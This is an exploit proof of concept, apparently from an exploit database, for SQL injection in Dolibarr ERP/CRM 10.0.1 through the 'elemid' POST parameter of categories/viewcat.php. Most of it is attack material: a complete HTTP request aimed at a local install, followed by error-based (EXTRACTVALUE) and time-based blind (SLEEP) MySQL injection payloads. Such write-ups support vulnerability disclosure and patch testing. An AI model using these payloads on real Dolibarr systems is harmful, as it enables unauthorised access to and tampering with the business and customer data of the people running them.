# Exploit Title: Dolibarr ERP/CRM - elemid Sql Injection
# Exploit Author: Metin Yunus Kandemir (kandemir)
# Vendor Homepage: https://www.dolibarr.org/
# Software Link: https://www.dolibarr.org/downloads
# Version: 10.0.1
# Category: Webapps
# Tested on: Xampp for Linux
# Software Description : Dolibarr ERP & CRM is a modern and easy to use
software package to manage your business...
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elemid (POST) - Sql injection PoC


POST /dolibarr-10.0.1/htdocs/categories/viewcat.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101
Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer:
http://localhost/dolibarr-10.0.1/htdocs/categories/viewcat.php?id=102&type=product&backtopage=%2Fdolibarr-10.0.1%2Fhtdocs%2Fcategories%2Findex.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 143
Cookie:
DOLSESSID_60ec554596b730ca6f03816d85cd400a=149432620a831537e75f713330bb0b45
Connection: close
Upgrade-Insecure-Requests: 1

token=%242y%2410%24WgwCdl0XwjnGlV3qpQ%2F7zeLEp%2FXFVVoWaj17gXqY2nYZFvG1dlzsS&typeid=product&type=product&id=102&action=addintocategory&elemid=[SQLi]



Parameter: elemid (POST)
    Type: error-based
    Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP
BY clause (EXTRACTVALUE)
    Payload:
token=$2y$10$WgwCdl0XwjnGlV3qpQ/7zeLEp/XFVVoWaj17gXqY2nYZFvG1dlzsS&typeid=product&type=product&id=102&action=addintocategory&elemid=0
AND EXTRACTVALUE(7549,CONCAT(0x5c,0x71706a7171,(SELECT
(ELT(7549=7549,1))),0x7176787a71))

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload:
token=$2y$10$WgwCdl0XwjnGlV3qpQ/7zeLEp/XFVVoWaj17gXqY2nYZFvG1dlzsS&typeid=product&type=product&id=102&action=addintocategory&elemid=0
AND (SELECT 6353 FROM (SELECT(SLEEP(5)))aOzn)